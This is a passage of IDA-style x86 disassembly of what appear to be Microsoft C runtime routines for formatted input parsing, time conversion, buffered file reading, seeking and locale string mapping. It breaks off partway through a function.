loc_41B5A8: ; CODE XREF: sub_41AD3D+90Aj
cmp esi, 78h
jz short loc_41B5EC
cmp esi, 70h
jz short loc_41B5EC
cmp dword_437F7C, 1
jle short loc_41B5C7
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B5D2
; ---------------------------------------------------------------------------
loc_41B5C7: ; CODE XREF: sub_41AD3D+87Cj
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 4
loc_41B5D2: ; CODE XREF: sub_41AD3D+888j
test eax, eax
jz short loc_41B64C
cmp esi, 6Fh
jnz short loc_41B5E5
cmp ebx, 38h
jge short loc_41B64C
shl edi, 3
jmp short loc_41B624
; ---------------------------------------------------------------------------
loc_41B5E5: ; CODE XREF: sub_41AD3D+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41B624
; ---------------------------------------------------------------------------
loc_41B5EC: ; CODE XREF: sub_41AD3D+86Ej
; sub_41AD3D+873j
cmp dword_437F7C, 1
jle short loc_41B604
push 80h
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B611
; ---------------------------------------------------------------------------
loc_41B604: ; CODE XREF: sub_41AD3D+8B6j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 80h
loc_41B611: ; CODE XREF: sub_41AD3D+8C5j
test eax, eax
jz short loc_41B64C
push ebx
shl edi, 4
call sub_41B762
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B624: ; CODE XREF: sub_41AD3D+8A6j
; sub_41AD3D+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41B636
dec [ebp+var_C]
jz short loc_41B65A
loc_41B636: ; CODE XREF: sub_41AD3D+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B5A8
; ---------------------------------------------------------------------------
loc_41B64C: ; CODE XREF: sub_41AD3D+897j
; sub_41AD3D+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
loc_41B65A: ; CODE XREF: sub_41AD3D+865j
; sub_41AD3D+8F7j
cmp [ebp+var_17], 0
jz short loc_41B662
neg edi
loc_41B662: ; CODE XREF: sub_41AD3D+843j
; sub_41AD3D+85Cj ...
cmp esi, 46h
jnz short loc_41B66B
and [ebp+var_1C], 0
loc_41B66B: ; CODE XREF: sub_41AD3D+928j
cmp [ebp+var_1C], 0
jz loc_41B743
cmp [ebp+var_E], 0
jnz short loc_41B6A4
inc [ebp+var_34]
loc_41B67E: ; CODE XREF: sub_41AD3D+23Bj
cmp [ebp+var_30], 0
jz short loc_41B694
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B694: ; CODE XREF: sub_41AD3D+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41B6A1
mov [eax], edi
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B6A1: ; CODE XREF: sub_41AD3D+95Ej
mov [eax], di
loc_41B6A4: ; CODE XREF: sub_41AD3D+241j
; sub_41AD3D+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41B6F1
; ---------------------------------------------------------------------------
loc_41B6AF: ; CODE XREF: sub_41AD3D+93j
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41B71E
mov ecx, off_437D70
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B6F1
inc [ebp+var_4]
push edi
call sub_41B799
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41B72C
dec [ebp+var_4]
loc_41B6F1: ; CODE XREF: sub_41AD3D+970j
; sub_41AD3D+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B707
cmp byte ptr [esi], 25h
jnz short loc_41B749
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41B749
mov esi, eax
loc_41B707: ; CODE XREF: sub_41AD3D+9B8j
mov al, [esi]
test al, al
jnz loc_41AD67
jmp short loc_41B743
; ---------------------------------------------------------------------------
loc_41B713: ; CODE XREF: sub_41AD3D+1F4j
; sub_41AD3D+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41B723
; ---------------------------------------------------------------------------
loc_41B71E: ; CODE XREF: sub_41AD3D+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41B723: ; CODE XREF: sub_41AD3D+9DFj
call sub_41B7B3
pop ecx
pop ecx
jmp short loc_41B743
; ---------------------------------------------------------------------------
loc_41B72C: ; CODE XREF: sub_41AD3D+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41B7B3
dec [ebp+var_4]
push edi
push ebx
call sub_41B7B3
add esp, 10h
loc_41B743: ; CODE XREF: sub_41AD3D+1Fj
; sub_41AD3D+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B75A
loc_41B749: ; CODE XREF: sub_41AD3D+9BDj
; sub_41AD3D+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41B75D
cmp [ebp+var_15], al
jnz short loc_41B75D
or eax, 0FFFFFFFFh
jmp short loc_41B75D
; ---------------------------------------------------------------------------
loc_41B75A: ; CODE XREF: sub_41AD3D+A0Aj
mov eax, [ebp+var_34]
loc_41B75D: ; CODE XREF: sub_41AD3D+A11j
; sub_41AD3D+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41AD3D endp
; =============== S U B R O U T I N E =======================================
sub_41B762 proc near ; CODE XREF: sub_41AD3D+7A3p
; sub_41AD3D+8DCp
arg_0 = dword ptr 4
cmp dword_437F7C, 1
push esi
jle short loc_41B77C
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B77C: ; CODE XREF: sub_41B762+8j
mov esi, [esp+4+arg_0]
mov eax, off_437D70
mov al, [eax+esi*2]
and eax, 4
loc_41B78B: ; CODE XREF: sub_41B762+18j
test eax, eax
jnz short loc_41B795
and esi, 0FFFFFFDFh
sub esi, 7
loc_41B795: ; CODE XREF: sub_41B762+2Bj
mov eax, esi
pop esi
retn
sub_41B762 endp
; =============== S U B R O U T I N E =======================================
sub_41B799 proc near ; CODE XREF: sub_41AD3D+1E1p
; sub_41AD3D+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41B7AB
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41B7AB: ; CODE XREF: sub_41B799+7j
push edx
call sub_41B8B0
pop ecx
retn
sub_41B799 endp
; =============== S U B R O U T I N E =======================================
sub_41B7B3 proc near ; CODE XREF: sub_41AD3D+6Bp
; sub_41AD3D+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41B7C9
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41E0DF
pop ecx
pop ecx
locret_41B7C9: ; CODE XREF: sub_41B7B3+5j
retn
sub_41B7B3 endp
; =============== S U B R O U T I N E =======================================
sub_41B7CA proc near ; CODE XREF: sub_41AD3D+63p
; sub_41AD3D+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41B7D0: ; CODE XREF: sub_41B7CA+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41B799
mov edi, eax
push edi
call sub_41E095
pop ecx
test eax, eax
pop ecx
jnz short loc_41B7D0
mov eax, edi
pop edi
pop esi
retn
sub_41B7CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7EE proc near ; CODE XREF: sub_416AD4+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41B8AA
cmp ebx, 8Ah
jg loc_41B8AA
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_438804[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41B82D
cmp edi, 2
jle short loc_41B82D
inc esi
loc_41B82D: ; CODE XREF: sub_41B7EE+37j
; sub_41B7EE+3Cj
call sub_41E14D
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_438720
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41B8A0
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41B8A6
cmp dword_438724, 0
jz short loc_41B8A6
lea eax, [ebp+var_24]
push eax
call sub_41E3C0
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41B8A6
loc_41B8A0: ; CODE XREF: sub_41B7EE+90j
add ecx, dword_438728
loc_41B8A6: ; CODE XREF: sub_41B7EE+96j
; sub_41B7EE+9Fj ...
mov eax, ecx
jmp short loc_41B8AD
; ---------------------------------------------------------------------------
loc_41B8AA: ; CODE XREF: sub_41B7EE+13j
; sub_41B7EE+1Fj
or eax, 0FFFFFFFFh
loc_41B8AD: ; CODE XREF: sub_41B7EE+BAj
pop ebx
leave
retn
sub_41B7EE endp
; =============== S U B R O U T I N E =======================================
sub_41B8B0 proc near ; CODE XREF: sub_416BB0+A9p
; sub_41713C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41B984
test al, 40h
jnz loc_41B984
test al, 2
jz short loc_41B8D6
or al, 20h
mov [esi+0Ch], eax
jmp loc_41B984
; ---------------------------------------------------------------------------
loc_41B8D6: ; CODE XREF: sub_41B8B0+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41B8EA
push esi
call sub_41D06C
pop ecx
jmp short loc_41B8EF
; ---------------------------------------------------------------------------
loc_41B8EA: ; CODE XREF: sub_41B8B0+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41B8EF: ; CODE XREF: sub_41B8B0+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41B989
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41B973
cmp eax, 0FFFFFFFFh
jz short loc_41B973
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41B948
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41B931
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_46A7C0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41B936
; ---------------------------------------------------------------------------
loc_41B931: ; CODE XREF: sub_41B8B0+6Bj
mov edi, offset dword_4383D0
loc_41B936: ; CODE XREF: sub_41B8B0+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41B948
or dh, 20h
mov [esi+0Ch], edx
loc_41B948: ; CODE XREF: sub_41B8B0+62j
; sub_41B8B0+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41B965
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41B965
test ch, 4
jnz short loc_41B965
mov dword ptr [esi+18h], 1000h
loc_41B965: ; CODE XREF: sub_41B8B0+9Fj
; sub_41B8B0+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B8B0+55j
; sub_41B8B0+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41B984: ; CODE XREF: sub_41B8B0+Aj
; sub_41B8B0+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41B8B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B989 proc near ; CODE XREF: sub_416BB0+90p
; sub_41B8B0+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_46A8C0
jnb loc_41BB66
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:46A7C0h[eax*4]
mov eax, dword_46A7C0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41BB66
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41BA3E
test dl, 2
jnz short loc_41BA3E
test dl, 48h
jz short loc_41B9FE
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41B9FE
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41B9FE: ; CODE XREF: sub_41B989+56j
; sub_41B989+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41BA51
call dword_421088 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41BA39
mov dword_469494, 9
mov dword_469498, ecx
jmp loc_41BB77
; ---------------------------------------------------------------------------
loc_41BA39: ; CODE XREF: sub_41B989+99j
cmp eax, 6Dh
jnz short loc_41BA45
loc_41BA3E: ; CODE XREF: sub_41B989+4Cj
; sub_41B989+51j
xor eax, eax
jmp loc_41BB7A
; ---------------------------------------------------------------------------
loc_41BA45: ; CODE XREF: sub_41B989+B3j
push eax
call sub_41C5D7
pop ecx
jmp loc_41BB77
; ---------------------------------------------------------------------------
loc_41BA51: ; CODE XREF: sub_41B989+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41BB61
test edx, edx
jz short loc_41BA76
cmp byte ptr [edi], 0Ah
jnz short loc_41BA76
or al, 4
jmp short loc_41BA78
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41B989+E2j
; sub_41B989+E7j
and al, 0FBh
loc_41BA78: ; CODE XREF: sub_41B989+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41BB5B
loc_41BA90: ; CODE XREF: sub_41B989+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41BB4B
cmp al, 0Dh
jz short loc_41BAAC
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BAAC: ; CODE XREF: sub_41B989+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41BACA
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41BAC1
add [ebp+arg_8], 2
jmp short loc_41BB1F
; ---------------------------------------------------------------------------
loc_41BAC1: ; CODE XREF: sub_41B989+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BACA: ; CODE XREF: sub_41B989+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421068 ; ReadFile
test eax, eax
jnz short loc_41BAF2
call dword_421088 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41BB39
loc_41BAF2: ; CODE XREF: sub_41B989+15Dj
cmp [ebp+var_C], 0
jz short loc_41BB39
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41BB14
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41BB1F
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB14: ; CODE XREF: sub_41B989+176j
cmp edi, [ebp+arg_4]
jnz short loc_41BB24
cmp [ebp+var_1], 0Ah
jnz short loc_41BB24
loc_41BB1F: ; CODE XREF: sub_41B989+136j
; sub_41B989+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41BB3C
; ---------------------------------------------------------------------------
loc_41BB24: ; CODE XREF: sub_41B989+18Ej
; sub_41B989+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41BB7F
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41BB3D
loc_41BB39: ; CODE XREF: sub_41B989+167j
; sub_41B989+16Dj
mov byte ptr [edi], 0Dh
loc_41BB3C: ; CODE XREF: sub_41B989+199j
inc edi
loc_41BB3D: ; CODE XREF: sub_41B989+11Ej
; sub_41B989+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41BA90
jmp short loc_41BB5B
; ---------------------------------------------------------------------------
loc_41BB4B: ; CODE XREF: sub_41B989+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41BB5B
or al, 2
mov [esi], al
loc_41BB5B: ; CODE XREF: sub_41B989+101j
; sub_41B989+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41BB61: ; CODE XREF: sub_41B989+DAj
mov eax, [ebp+var_8]
jmp short loc_41BB7A
; ---------------------------------------------------------------------------
loc_41BB66: ; CODE XREF: sub_41B989+12j
; sub_41B989+39j
and dword_469498, 0
mov dword_469494, 9
loc_41BB77: ; CODE XREF: sub_41B989+ABj
; sub_41B989+C3j
or eax, 0FFFFFFFFh
loc_41BB7A: ; CODE XREF: sub_41B989+B7j
; sub_41B989+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41B989 endp
; =============== S U B R O U T I N E =======================================
sub_41BB7F proc near ; CODE XREF: sub_416E3E+67p
; sub_417C37+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_46A8C0
push esi
push edi
jnb short loc_41BC01
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41BC01
push eax
call sub_41D4C6
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41BBC3
mov dword_469494, 9
jmp short loc_41BC12
; ---------------------------------------------------------------------------
loc_41BBC3: ; CODE XREF: sub_41BB7F+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_4210AC ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41BBE3
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41BBE5
; ---------------------------------------------------------------------------
loc_41BBE3: ; CODE XREF: sub_41BB7F+5Aj
xor eax, eax
loc_41BBE5: ; CODE XREF: sub_41BB7F+62j
test eax, eax
jz short loc_41BBF2
push eax
call sub_41C5D7
pop ecx
jmp short loc_41BC12
; ---------------------------------------------------------------------------
loc_41BBF2: ; CODE XREF: sub_41BB7F+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41BC15
; ---------------------------------------------------------------------------
loc_41BC01: ; CODE XREF: sub_41BB7F+Dj
; sub_41BB7F+2Aj
and dword_469498, 0
mov dword_469494, 9
loc_41BC12: ; CODE XREF: sub_41BB7F+42j
; sub_41BB7F+71j
or eax, 0FFFFFFFFh
loc_41BC15: ; CODE XREF: sub_41BB7F+80j
pop edi
pop esi
pop ebx
retn
sub_41BB7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC19 proc near ; CODE XREF: sub_416E3E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41BC35
mov [edi+4], ebx
loc_41BC35: ; CODE XREF: sub_41BC19+17j
push 1
push ebx
push esi
call sub_41BB7F
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41BCA3
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41BC5A
sub eax, [edi+4]
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BC5A: ; CODE XREF: sub_41BC19+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41BC94
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_46A7C0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41BCAB
mov edx, ecx
loc_41BC85: ; CODE XREF: sub_41BC19+79j
cmp edx, eax
jnb short loc_41BCAB
cmp byte ptr [edx], 0Ah
jnz short loc_41BC91
inc [ebp+var_8]
loc_41BC91: ; CODE XREF: sub_41BC19+73j
inc edx
jmp short loc_41BC85
; ---------------------------------------------------------------------------
loc_41BC94: ; CODE XREF: sub_41BC19+50j
test dl, 80h
jnz short loc_41BCAB
mov dword_469494, 16h
loc_41BCA3: ; CODE XREF: sub_41BC19+2Dj
or eax, 0FFFFFFFFh
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BCAB: ; CODE XREF: sub_41BC19+68j
; sub_41BC19+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41BCB9
mov eax, [ebp+var_8]
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BCB9: ; CODE XREF: sub_41BC19+96j
test byte ptr [edi+0Ch], 1
jz loc_41BD64
mov edx, [edi+4]
test edx, edx
jnz short loc_41BCD2
and [ebp+var_8], edx
jmp loc_41BD64
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC19+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41BD5E
push 2
push 0
push [ebp+var_C]
call sub_41BB7F
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41BD25
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41BD10: ; CODE XREF: sub_41BC19+104j
cmp eax, ecx
jnb short loc_41BD1F
cmp byte ptr [eax], 0Ah
jnz short loc_41BD1C
inc [ebp+arg_0]
loc_41BD1C: ; CODE XREF: sub_41BC19+FEj
inc eax
jmp short loc_41BD10
; ---------------------------------------------------------------------------
loc_41BD1F: ; CODE XREF: sub_41BC19+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41BD59
; ---------------------------------------------------------------------------
loc_41BD25: ; CODE XREF: sub_41BC19+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41BB7F
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41BD4C
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41BD4C
test ch, 4
jz short loc_41BD4F
loc_41BD4C: ; CODE XREF: sub_41BC19+124j
; sub_41BC19+12Cj
mov eax, [edi+18h]
loc_41BD4F: ; CODE XREF: sub_41BC19+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41BD59: ; CODE XREF: sub_41BC19+10Aj
jz short loc_41BD5E
inc [ebp+arg_0]
loc_41BD5E: ; CODE XREF: sub_41BC19+D9j
; sub_41BC19:loc_41BD59j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41BD64: ; CODE XREF: sub_41BC19+A4j
; sub_41BC19+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41BD6C: ; CODE XREF: sub_41BC19+3Cj
; sub_41BC19+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BC19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD71 proc near ; CODE XREF: sub_417193+A3p
; sub_41AC71+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421878
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_46951C, edi
jnz short loc_41BDE7
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_421870
mov esi, 100h
push esi
push edi
call dword_421190 ; LCMapStringW
test eax, eax
jz short loc_41BDC5
mov dword_46951C, ebx
jmp short loc_41BDE7
; ---------------------------------------------------------------------------
loc_41BDC5: ; CODE XREF: sub_41BD71+4Aj
push edi
push edi
push ebx
push offset dword_438FD4
push esi
push edi
call dword_42118C ; LCMapStringA
test eax, eax
jz loc_41BEFF
mov dword_46951C, 2
loc_41BDE7: ; CODE XREF: sub_41BD71+2Ej
; sub_41BD71+52j
cmp [ebp+arg_C], edi
jle short loc_41BDFC
push [ebp+arg_C]
push [ebp+arg_8]
call sub_41BF95
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41BDFC: ; CODE XREF: sub_41BD71+79j
mov eax, dword_46951C
cmp eax, 2
jnz short loc_41BE23
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42118C ; LCMapStringA
jmp loc_41BF01
; ---------------------------------------------------------------------------
loc_41BE23: ; CODE XREF: sub_41BD71+93j
cmp eax, 1
jnz loc_41BEFF
cmp [ebp+arg_18], edi
jnz short loc_41BE39
mov eax, dword_469538
mov [ebp+arg_18], eax
loc_41BE39: ; CODE XREF: sub_41BD71+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41BEFF
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BE94
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41BE94: ; CODE XREF: sub_41BD71+10Ej
cmp [ebp+var_24], edi
jz short loc_41BEFF
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41BEFF
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41BEFF
test byte ptr [ebp+arg_4+1], 4
jz short loc_41BF13
cmp [ebp+arg_14], edi
jz loc_41BF8E
cmp esi, [ebp+arg_14]
jg short loc_41BEFF
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190 ; LCMapStringW
test eax, eax
jnz loc_41BF8E
loc_41BEFF: ; CODE XREF: sub_41BD71+66j
; sub_41BD71+B5j ...
xor eax, eax
loc_41BF01: ; CODE XREF: sub_41BD71+ADj
; sub_41BD71+21Fj
